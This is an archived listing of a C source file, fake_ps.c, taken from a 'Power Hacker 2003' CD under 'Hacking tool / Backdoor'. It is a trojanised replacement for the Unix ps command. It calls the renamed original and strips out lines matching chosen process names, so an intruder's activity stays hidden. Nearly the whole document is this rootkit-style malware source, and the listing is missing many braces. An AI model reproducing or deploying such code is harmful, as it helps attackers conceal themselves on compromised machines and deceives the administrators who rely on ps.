home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Hacking tool / Backdoor / ps.c < prev    next >
C/C++ Source or Header  |  2001-04-29  |  2KB  |  98 lines

  1. /* 
  2. * fake_ps.c 
  3. * Set the path to original ps, set the environment to withdraw, 
  4. * compile, resize and enjoy. 
  5. * Note: Never give PS more than 15 bytes of path 
  6. * funny things will happen if you exceed this limit. 
  7. * Author: telar (telar@mail.com) 21/12 - 1999 
  8. */ 
  9. #include <stdio.h> 
  10. #include <string.h> 
  11.  
  12. #define PR "h2so4" /* Name of hidden ps */ 
  13. #define PS "/usr/bin/h2so4" /* full path */ 
  14. #define ERR "/tmp/.problem" /* error handling */ 
  15. #define TMP "/tmp/.tmp" /* temporary file */ 
  16. #define nr 4 /* no. lines in lns */ 
  17. #define OFFSET 100 /* for a safer world */ 
  18.  
  19. char *lns[nr] = { /* fill in what you'd- */ 
  20. "syslog", /* like to be removed */ 
  21. "writesyslog", 
  22. "sh", 
  23. "sh -c /usr/bin/h2so", 
  24. }; 
  25.  
  26. char *s; 
  27. int i,c,k; 
  28. FILE *ep,*op; 
  29. char bufa[12024]; 
  30. char bufb[12024]; 
  31. char bufc[12024]; 
  32.  
  33. int check(char *b) 
  34. for(i=0;i<nr;i++) { 
  35. if((s=strstr(b,lns[i]))!=NULL) { 
  36. return(-1); 
  37. return(0); 
  38.  
  39.  
  40. int fixps(int z) 
  41. while(fgets(bufc,z+OFFSET,ep)) { 
  42. if(!(s=strstr(bufc,PS))) { 
  43. if(!(s=strstr(bufc,PR))) { 
  44. if(!(check(bufc))) { 
  45. printf("%s",bufc); } 
  46.  
  47. return; 
  48.  
  49. main(int argc, char *argv[]) 
  50.  
  51. ep=fopen(TMP,"w"); 
  52. fputs("\n",ep); 
  53. if (argc>1) { 
  54. strcat(bufa,PS); 
  55. strcat(bufb,""); 
  56. for(i=1;i<argc;i++) { 
  57. strcat(bufb," "); 
  58. strcat(bufa," "); 
  59. strcat(bufb,argv[i]); 
  60. strcat(bufa,argv[i]); 
  61. if (argc<=1) { 
  62. strcat(bufa,PS); 
  63. strcat(bufb,""); } 
  64. fclose(ep); 
  65. strcat(bufa," >> "); 
  66. strcat(bufa,TMP); 
  67. system(bufa); 
  68.  
  69. if ((ep=fopen(TMP,"r"))==NULL) { 
  70. op=fopen(ERR,"a"); 
  71. fprintf(op,"\nProblem occured, trojan dumped:\n%s execved by %s 
  72. doing %s",PS,getlogin(),bufb); 
  73. fclose(op); 
  74. execv(PS,bufb); 
  75. exit(0); 
  76.  
  77. while ((c=fgetc(ep))!='\n') { 
  78. k++; } 
  79.  
  80. fixps(k); 
  81. fclose(ep); 
  82. remove(TMP);